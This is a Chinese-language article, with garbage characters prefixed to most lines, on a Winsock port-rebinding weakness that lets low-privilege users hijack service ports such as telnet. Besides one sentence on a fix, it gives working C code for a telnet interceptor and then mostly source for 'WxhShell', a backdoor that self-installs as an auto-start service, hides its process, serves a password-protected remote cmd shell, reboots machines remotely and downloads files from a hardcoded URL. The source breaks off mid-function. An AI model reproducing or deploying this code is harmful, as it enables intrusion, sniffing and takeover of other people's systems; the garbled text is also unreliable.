在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
6rnFXZ\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0U7Gl9~ [~8U],?1 saddr.sin_family = AF_INET;
'd2
:a2C] <TVJ9l saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;j9%D`u< *OA(v^@tx7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6CFnE7TQf nFJW\B&(` 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
2,:{ 5]Q$ wn@~80)$ 这意味着什么?意味着可以进行如下的攻击:
8=$X hC QKjn/%l"@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
68j1svz9 ,<
g%}P/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
HN7tIz@Frc /k/X[/WO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
T'}kCnp |fKT@2( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
^# #j
{h7 /W .s1N 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
9}QIqH\p z6)N![X 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
OH06{I>; Lk|`\I
T 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
f+9WGNpw K+|XI|1p #include
pyV`O[ #include
HWV A5E[`Y #include
ogIu\kiZ #include
1 ?BLL;[a8 DWORD WINAPI ClientThread(LPVOID lpParam);
c1E{J<pZ int main()
Yeg<MrS4D {
5Xr})%L WORD wVersionRequested;
6/ 5c| DWORD ret;
nl}LT/N WSADATA wsaData;
"*HM8\ BOOL val;
:| 9vMM^$ SOCKADDR_IN saddr;
2->Lz SOCKADDR_IN scaddr;
SZT n=\ int err;
p0W<K SOCKET s;
'Y @yW3K SOCKET sc;
S(CkA\[rz int caddsize;
SZXSVz0j HANDLE mt;
cO]w*Hti DWORD tid;
rmggP( wVersionRequested = MAKEWORD( 2, 2 );
' ds2\gN err = WSAStartup( wVersionRequested, &wsaData );
.u\$wJ9Ai if ( err != 0 ) {
(.=ig
X printf("error!WSAStartup failed!\n");
C!:Lk,Z return -1;
j*>Df2z }
qv(3qY saddr.sin_family = AF_INET;
d-b<_k{p :@)R@. - //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
,Z
@I"&H eyh}O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Zj -#"Gm saddr.sin_port = htons(23);
o@N[O^Q
V if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
oUn+tu: {
C[.Xi printf("error!socket failed!\n");
f3Zf97i return -1;
W0MgY%Qv[ }
lv?`+tU2_ val = TRUE;
3Qd/X&P //SO_REUSEADDR选项就是可以实现端口重绑定的
TO]7cC if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
v {r %/* {
$gnrd~v4e printf("error!setsockopt failed!\n");
{96MfhkeBv return -1;
:[+8(~| za }
!U:&8Le //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
D}
B?~Lls //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k={1zl ; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
sCw>J#@2> C9?mxa*z if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
EVLL,x.~:z {
#lMcAYH, ret=GetLastError();
;`^_9
K printf("error!bind failed!\n");
x2t&Wpvt return -1;
g%Tokl }
S`YT"|~ listen(s,2);
;6 W[%{ while(1)
Csy$1;"A {
OvQzMXU^I caddsize = sizeof(scaddr);
xTuJ~$( //接受连接请求
VoYL}67c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
b-/QZvg if(sc!=INVALID_SOCKET)
y;CX)!8 {
pYzop4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
,,G"EF0A if(mt==NULL)
ML'y`S {
I5E=Ujc_ printf("Thread Creat Failed!\n");
4Cu\|"5) break;
$b2~Wj*-nJ }
C{$iuus0 }
3#$X CloseHandle(mt);
R~iv%+ }
.'A1Eoo0d closesocket(s);
B-_b.4ND) WSACleanup();
[ KgO:},c return 0;
),vDn}> }
d)V8FX,t DWORD WINAPI ClientThread(LPVOID lpParam)
EPn!6W5^ {
5-GS@fY SOCKET ss = (SOCKET)lpParam;
~}j+~ SOCKET sc;
)EB+(c~E unsigned char buf[4096];
z/"*-+j SOCKADDR_IN saddr;
WPsfl8@D long num;
O$r/{{I. DWORD val;
n=4 DWORD ret;
RtR@wZ2\s //如果是隐藏端口应用的话,可以在此处加一些判断
sQA_ 6]` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
AB\Ya4O"9 saddr.sin_family = AF_INET;
L,.~VNy- saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jZ-s6r2= saddr.sin_port = htons(23);
{e|.AD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%w[Z/ {
8#JX#<HEo printf("error!socket failed!\n");
TW>GYGz return -1;
w!H(zjv&( }
9vyf9QE; val = 100;
UL}wGWaoG if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
deaB_cjdI {
VO eVS&} ret = GetLastError();
n"RV!{& return -1;
;PC! }
"P#1= if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
izcaWt3 a {
XX/s@C ret = GetLastError();
-t S\ return -1;
:,JjN& }
]i(/T$?~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
4 @{?4k-cq {
tnnGM,"ol printf("error!socket connect failed!\n");
vTx>z\7q, closesocket(sc);
o/7u7BQl2 closesocket(ss);
+'c+X^_ return -1;
>Y8\f:KQ }
uarfH]T{ while(1)
xE@/8h {
So!=uYX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2`riI*fQ //如果是嗅探内容的话,可以再此处进行内容分析和记录
u#EcR}=] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
XEA5A.uc num = recv(ss,buf,4096,0);
cQhr{W,Un if(num>0)
B%uY/Mwz$ send(sc,buf,num,0);
k*)sz else if(num==0)
YhV<.2^k break;
"g5{NjimY num = recv(sc,buf,4096,0);
F<b'{qf" if(num>0)
:!g|pd[{ag send(ss,buf,num,0);
v
=y
2 else if(num==0)
;DK%!."% break;
k o[w#j }
u*Xp%vNe closesocket(ss);
]Ac}+? closesocket(sc);
l~;>KjZg return 0 ;
p"
>*WQ }
f/O6~I&g 0)Ephsw !Nx1I ==========================================================
{>1FZsR49t ?v
M9
! 下边附上一个代码,,WXhSHELL
r~)fAb? T8A(W ==========================================================
3:nBl?G< ?Q-Tyf$3 #include "stdafx.h"
9r]|P}yuS w1"+HJd #include <stdio.h>
a)ry}E =f #include <string.h>
4{F1GW #include <windows.h>
Kb(11$U #include <winsock2.h>
Oq.ss!/z #include <winsvc.h>
gEj#>=s
#include <urlmon.h>
~i;{+j6Ho! t([}a~1} #pragma comment (lib, "Ws2_32.lib")
e9[72V #pragma comment (lib, "urlmon.lib")
B%;MGb o c$V5E t #define MAX_USER 100 // 最大客户端连接数
Zw9;g+9 #define BUF_SOCK 200 // sock buffer
=|P
&G~] #define KEY_BUFF 255 // 输入 buffer
b`-|7<s @5nFa~*K% #define REBOOT 0 // 重启
@/<UhnI #define SHUTDOWN 1 // 关机
zw+aZDcV( >E+g.5
,:W #define DEF_PORT 5000 // 监听端口
d:';s~ sRD
fA4/TF #define REG_LEN 16 // 注册表键长度
RJ3oI+gI #define SVC_LEN 80 // NT服务名长度
.^{%hc*w4 WChP,hw // 从dll定义API
uTR^K=Ve typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
QnVr)4" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
l@B9}Icq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
ac l<dY6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
DD$>3` W\kli';jyC // wxhshell配置信息
G@H!D[wd struct WSCFG {
"9s_[e int ws_port; // 监听端口
V_SH90@)+ char ws_passstr[REG_LEN]; // 口令
f zo'9 int ws_autoins; // 安装标记, 1=yes 0=no
h )
Wp char ws_regname[REG_LEN]; // 注册表键名
=Hd yra char ws_svcname[REG_LEN]; // 服务名
jCJcVO>OZ char ws_svcdisp[SVC_LEN]; // 服务显示名
DRQx5fgL char ws_svcdesc[SVC_LEN]; // 服务描述信息
Gc|)4c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
mtv8Bm=< int ws_downexe; // 下载执行标记, 1=yes 0=no
@[3c1B6K char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S\TXx79PhC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
YGyv)\ ps 3)d };
k|)fl l ?A3L8^tR // default Wxhshell configuration
1.!U{>$ struct WSCFG wscfg={DEF_PORT,
}9S}?R "xuhuanlingzhe",
0y9 b0G 1,
H\S)a FY[ "Wxhshell",
lDYgtUKG "Wxhshell",
[7v|bd "WxhShell Service",
5^ Qa8yA>7 "Wrsky Windows CmdShell Service",
lv
8EfN "Please Input Your Password: ",
_HUbE / 1,
C[^V\?3ly: "
http://www.wrsky.com/wxhshell.exe",
/IpCo "Wxhshell.exe"
2 kDsIEA };
`}PYltW 7s(tAbPdB // 消息定义模块
)]1hN;Nz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6CBk=)qH char *msg_ws_prompt="\n\r? for help\n\r#>";
dDPQDIx char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_B^zm-}8|B char *msg_ws_ext="\n\rExit.";
OjUPvR2 0 char *msg_ws_end="\n\rQuit.";
`t U char *msg_ws_boot="\n\rReboot...";
p
u(mHB char *msg_ws_poff="\n\rShutdown...";
F^O83[S char *msg_ws_down="\n\rSave to ";
~29p|X< lxL5Rit@Px char *msg_ws_err="\n\rErr!";
KG'i#(u[ char *msg_ws_ok="\n\rOK!";
]Btkoad n[ B~C char ExeFile[MAX_PATH];
=5+*TL` int nUser = 0;
sasurR|; HANDLE handles[MAX_USER];
LCHMh6 int OsIsNt;
(wDE!H7 GI% &.V d SERVICE_STATUS serviceStatus;
F_
F"3'[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
cszvt2BIg sAkr-x?+M // 函数声明
J$3g3%t int Install(void);
_M^.4H2 int Uninstall(void);
#V!a<w4_ int DownloadFile(char *sURL, SOCKET wsh);
K!-OUm5A int Boot(int flag);
n"(!v7YNp void HideProc(void);
P=94 int GetOsVer(void);
]i*ucW4 int Wxhshell(SOCKET wsl);
(GSP3KKo*G void TalkWithClient(void *cs);
=01X int CmdShell(SOCKET sock);
p-[WpY3 int StartFromService(void);
)j_El ]? int StartWxhshell(LPSTR lpCmdLine);
c$g@3gL t2N W$
-E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,>
zEG VOID WINAPI NTServiceHandler( DWORD fdwControl );
||Zup\QB 9@
tp# // 数据结构和表定义
cSb;a\el$ SERVICE_TABLE_ENTRY DispatchTable[] =
ywa*?3?c {
S0,\{j {wscfg.ws_svcname, NTServiceMain},
HxG8'G {NULL, NULL}
o<`hj&s };
=gB5JB<}2 ^|Q]WHNFB // 自我安装
{D+mr[ % int Install(void)
oh9
;_~ {
?E([Nc0T char svExeFile[MAX_PATH];
P\jGySj HKEY key;
JVE\{ e) strcpy(svExeFile,ExeFile);
_wq?Pa<)e " 9Gn/-V> // 如果是win9x系统,修改注册表设为自启动
<S@jf4 if(!OsIsNt) {
%**f`L%jN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
O`5,L[i1y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*T5;dh ( RegCloseKey(key);
P$)g=/td1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}s}g}t8v- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C?<pD+]b_ RegCloseKey(key);
Q.mJ7T~T return 0;
fO*jCl }
tb3VqFx }
y0 * rY }
}47h0 i else {
@+u>rS|IB d ]P~ // 如果是NT以上系统,安装为系统服务
&k}f"TX2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
v,KKn\X if (schSCManager!=0)
AJPvwu}D {
~6 6xO9s SC_HANDLE schService = CreateService
m#7(<# (
>Fel) a schSCManager,
</h^%mnd wscfg.ws_svcname,
$]v}X},, wscfg.ws_svcdisp,
^J'_CA SERVICE_ALL_ACCESS,
;5[KZ8j6Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8H!QekQZ]\ SERVICE_AUTO_START,
rpR${%jc SERVICE_ERROR_NORMAL,
`9~
%6N?7# svExeFile,
,WT>"9+ NULL,
3N7H7(IR NULL,
)g0fN+Mb NULL,
Fhoyji4 NULL,
AU{"G NULL
fr@F7s5} );
7},A.q if (schService!=0)
=CX1jrLZ {
)BP*|URc CloseServiceHandle(schService);
K@D\5s|1| CloseServiceHandle(schSCManager);
mDB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
V>Wk\'h strcat(svExeFile,wscfg.ws_svcname);
\/a6h if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
r* *zjv> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
M^FY6TT4O RegCloseKey(key);
o96C^y{~S return 0;
kxn&f(5 }
25^?|9o 7 }
<wH+\ CloseServiceHandle(schSCManager);
p9(y b }
D &@] }
\/A.j|by,> g)D_!iz return 1;
KpLmpK1 }
U.%Kt,qB JfY*#({y // 自我卸载
"}4%v Zz int Uninstall(void)
o2 14V \ {
wX$:NOO HKEY key;
(i1JRn-f vvoxK 0 if(!OsIsNt) {
&d# R'Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8.E"[QktZ RegDeleteValue(key,wscfg.ws_regname);
gYpMwC{*d RegCloseKey(key);
wp[Ug2;G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$pGT1oF[E RegDeleteValue(key,wscfg.ws_regname);
f:T?oR>2 RegCloseKey(key);
:2 ;Jo^6Se return 0;
KyvZ?R }
G0cG%sIl }
TkbaoD }
.])prp8 else {
NFK`, eI
#Gx_mg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7R+(3NU1A if (schSCManager!=0)
6b|?@ {
I.2J-pu} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
|{ jT+ if (schService!=0)
sV^:u^ {
']]d-~: if(DeleteService(schService)!=0) {
r~w.J+W CloseServiceHandle(schService);
s\ IKSoE CloseServiceHandle(schSCManager);
*7BfK(9T return 0;
NW3c_]`= }
4zug9kFK CloseServiceHandle(schService);
my=f}%k= }
RaZ>.5
D CloseServiceHandle(schSCManager);
2ZH+fV?. }
Cs,H#L }
+n3I\7G> 2_o#Gx' return 1;
nQ%HtXt; }
pl[J!d.c "
\$^j#o // 从指定url下载文件
}[*' int DownloadFile(char *sURL, SOCKET wsh)
<=uYfi 3, {
vdQoJWuB HRESULT hr;
8%@|/ char seps[]= "/";
OMGggg char *token;
G=dzP}B'WA char *file;
$Y$9]G": char myURL[MAX_PATH];
#el27"QP0 char myFILE[MAX_PATH];
Fe+
@; iyskADS strcpy(myURL,sURL);
s?SspuV token=strtok(myURL,seps);
x 3@-E while(token!=NULL)
oFY!NMq}: {
~MpikBf file=token;
;"3B,Yj token=strtok(NULL,seps);
jYsAL=oh,* }
c/{FDN XQ}Zr/f6 GetCurrentDirectory(MAX_PATH,myFILE);
Fsx?(?tCMo strcat(myFILE, "\\");
jm_-f strcat(myFILE, file);
)P$(]{ send(wsh,myFILE,strlen(myFILE),0);
3} A$+PX send(wsh,"...",3,0);
+)]YvZ6%[, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$YYWpeW
' if(hr==S_OK)
<hT\xBb: return 0;
^;C& else
J~YT~D2L return 1;
WJ7|0qb '<Z[e`/ }
^0VL](bD> ?KT{H(rU // 系统电源模块
E?m~DYnU int Boot(int flag)
q76POytV| {
'CLZ7pV HANDLE hToken;
qnm_#!&uHT TOKEN_PRIVILEGES tkp;
;C]Ufk h}b:-a if(OsIsNt) {
xNz(LZ.c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#-hO\
QdC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*kr/,_K tkp.PrivilegeCount = 1;
>rG>Bz^Pu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Io6/Fv>! AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
f|RmAP;X, if(flag==REBOOT) {
{.Tx70kn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^l &lwSRVt return 0;
6(
HF)z }
[P$Xr6# else {
UA[`{rf if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
DM.lQ0xk return 0;
GAGS-G# }
{C1crp>q }
3? {AGJ1 else {
lU
WXXuO] if(flag==REBOOT) {
7Z-j'pq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-@TY8#O#- return 0;
9tiZIm93] }
g40Hj Y else {
OATdmHW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jm0p%%z return 0;
_=v#"l }
+z
>)'# }
?H{[u rLn N(/) e return 1;
QV4|f[Ki% }
@SQsEq+A?\ z*@eQauA // win9x进程隐藏模块
b0P3S!E void HideProc(void)
tjdPia {
A2
l?F |Q?h"5i"( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
6Z\ aJ if ( hKernel != NULL )
3^xUN|.F*V {
{I#_0Q,i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
J~~\0 u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b UG,~\Z FreeLibrary(hKernel);
0RR |!zEu }
|OQ]F 8f@}- return;
.?>Cav9: }
ldv@C6+J <O#&D|EMd| // 获取操作系统版本
^BsT>VSH6 int GetOsVer(void)
*dBy<dIy {
3bEcKA_z( OSVERSIONINFO winfo;
y]9R#\P/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
\i.]-k GetVersionEx(&winfo);
dab]>% M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]>3Y~KH( return 1;
)|gw5N4; else
3o.x<G( return 0;
M!&Hn,22 }
{UNH?2 IUMv{2C // 客户端句柄模块
Pwh}hG1sa int Wxhshell(SOCKET wsl)
D:P(; {
Y2|i> 5/|< SOCKET wsh;
9#8vPjXW}. struct sockaddr_in client;
)>a~ %~: DWORD myID;
RQ+, 7Ir j#HXuV6 while(nUser<MAX_USER)
}1a}pm2p {
["Zvwes#7 int nSize=sizeof(client);
G|i0n
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
\S}/2]* 1 if(wsh==INVALID_SOCKET) return 1;
zAgX{$/Fg Z0gtliJ@ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;QI9 OcE@/ if(handles[nUser]==0)
D
0Xl`0"' closesocket(wsh);
p1N}2]e else
IQqUFP$8g nUser++;
F)3+IuY }
lyn%r WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
+VwQ=[y] hgU;7R,?ir return 0;
]jT}]9Q$ }
fQ+whGB KsDS!O // 关闭 socket
U}92%W? void CloseIt(SOCKET wsh)
hBgE%#`s {
g 9,"u_ closesocket(wsh);
F^,:p.ihm< nUser--;
{3Inj8a=?A ExitThread(0);
1U\ap{z@ }
]#0 ( +eVYy_bL- // 客户端请求句柄
l9K`+c+t void TalkWithClient(void *cs)
ZL|aB886 {
RpdUR*K9x !'f7;%7s SOCKET wsh=(SOCKET)cs;
q4ROuE|d char pwd[SVC_LEN];
@ @[xTyA char cmd[KEY_BUFF];
Nt>^2Mv
char chr[1];
BabaKSm}LP int i,j;
)&6gju7( Y6{^cZ!= while (nUser < MAX_USER) {
CKAd\L 8/e-?2l if(wscfg.ws_passstr) {
EQ%o oAb8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<G})$f'x2 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wAh]C;+{ //ZeroMemory(pwd,KEY_BUFF);
+n^M+ea; i=0;
U`v2Yw3E while(i<SVC_LEN) {
+pd,gG?dW X[tt'5 // 设置超时
s-p)^B fd_set FdRead;
'-wmY?ZFxy struct timeval TimeOut;
pcMzLMG< FD_ZERO(&FdRead);
!GOaBs FD_SET(wsh,&FdRead);
0X)vr~` TimeOut.tv_sec=8;
+\!.X_Ij TimeOut.tv_usec=0;
Ak[X`e T int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
{FIzoR" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)uqzu%T
rPH7
]] if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%H{pU:[5* pwd
=chr[0]; ]r`;89:s>
if(chr[0]==0xd || chr[0]==0xa) { -K{R7
pwd=0; "vGh/sXW
break; 0 C4eer+D
} i/:L^SQAq
i++; R"ON5,E
} G,C`+1$*
*6I$N>1
// 如果是非法用户,关闭 socket d4o
^+\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2A_1 E\
} J[lC$X[
Hq.rG-,p
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eV7;#w<]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vr2A7kq
gP_N|LuF"
while(1) { 0ix(1`Z
>u=
ZeroMemory(cmd,KEY_BUFF); "FHJ_$!
Q,?_;,I}
// 自动支持客户端 telnet标准 xG!~TQ
j=0; ^ ` LqNG
while(j<KEY_BUFF) { P2n8H Fi
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cSL6V2F
cmd[j]=chr[0]; _k:8ib2TQ
if(chr[0]==0xa || chr[0]==0xd) { !}Xoqamm
cmd[j]=0; Snr(<u
break; l";Yw]:^
}
f' A$':Y
j++; KL \>-
} yD"]:ts3
^4=#,K
// 下载文件 rKgl:sj+
if(strstr(cmd,"http://")) { \,S|>CPQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9'MGv*Ho
if(DownloadFile(cmd,wsh)) ni;)6,i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z;JV3)E
else @]qP:h.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =l(euBb
} v3"6'.f;bY
else { "Enb
aRTy=~
switch(cmd[0]) { 're:_;lG
FJn-cR.n
// 帮助 o~$O$
case '?': { Bx45yaT
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A]c'TT@6
break; vyZ&%?{*R
} dN5{W0_
// 安装 8N&'n
case 'i': { 'TeH(?3G
if(Install()) n/KO{:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (d4btcg
else V]|X
,G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [8T{=+k
break; Y`~B> J
} ]I|(/+}M
// 卸载 S]3CRJU3`
case 'r': { sVx}(J
if(Uninstall()) #mV2VIX#Jv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fkI 5~Y|
else \'~
E%=Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q7 PCMe
break; ^N7H~CT"
} k;\gYb%L
// 显示 wxhshell 所在路径 *)K\&h<{
case 'p': { 1L,L/sOwB&
char svExeFile[MAX_PATH]; R-%6v2;ry
strcpy(svExeFile,"\n\r"); >YI Vi4''
strcat(svExeFile,ExeFile); !Cgj
>=
send(wsh,svExeFile,strlen(svExeFile),0); um%_kX
break; 5L3+KkX@
} ^PEw#.WG
// 重启 [ar0{MPYd
case 'b': { .B]l@E-u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "t^v;?4
if(Boot(REBOOT)) }Xj25` x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mx^Ga=:
?
else { TuQGF$n@
closesocket(wsh); xM%4/QE+
ExitThread(0); tp`1S+'~j
} ??F* Z" x
break; u1meysa{0
} VcKB:(:[
// 关机 yzN[%/
case 'd': { SfS3}Tn[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |gE1P/%k
if(Boot(SHUTDOWN)) l cl|o3yQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hDxq9EF
else { #Hrzk!&9
closesocket(wsh); L/"MRQ"
ExitThread(0); HAjl[c
} jn^X{R\
break; F! !HwI
} >!Yuef
<P
// 获取shell Cd*h4Q]S
case 's': { UDEGQ^)Xz|
CmdShell(wsh); Y,s EM%
closesocket(wsh); f$dPDbZQ
ExitThread(0); t"$~o:U&)
break; b`X''6
} m(8Tup|
// 退出 <>6j>w_|
case 'x': { %>FtA)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IV,4BQ$
CloseIt(wsh); G(t:s5:
break; 6qT@M0)i
} SES.&e|!6
// 离开 r *K
case 'q': { !JA;0[;l=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cu7{>"
closesocket(wsh); zamMlmls^
WSACleanup(); h'"m,(a
exit(1); Na91K4r#
break; `#$}P;W
} >[ B.y
} s#Dj>Fej
} {<yapBMw
ZR!8hw8
// 提示信息 `=Ip>7T&
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Wld6:L{I
} tLu&3<%
} E7$&:xqx
[[|#}D:L
return; V}V->j*
} vK!`#W`X
*s4|'KS2o
// shell模块句柄 [Vs\r&qL
int CmdShell(SOCKET sock) iaL@- dg
{ ~YH?wdT
STARTUPINFO si; E`TZ:W]r,
ZeroMemory(&si,sizeof(si)); ?W'z5'|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nkHl;;WJ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !R8%C!=a
PROCESS_INFORMATION ProcessInfo; R&|.Lvmc/
char cmdline[]="cmd"; MtJ-pa~n
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :{a< ~n`
return 0; HTh?&u\QG
} >W> rhxU
}r,M(Zr
// 自身启动模式 uZ?P{E,K
int StartFromService(void) vx9!KWy}
{ 4AJ] qu
typedef struct JX0M3|I=
{ dWd%>9}
DWORD ExitStatus; S1$^ _S
=
DWORD PebBaseAddress; +@ChZ
DWORD AffinityMask; jf3Zy:*K
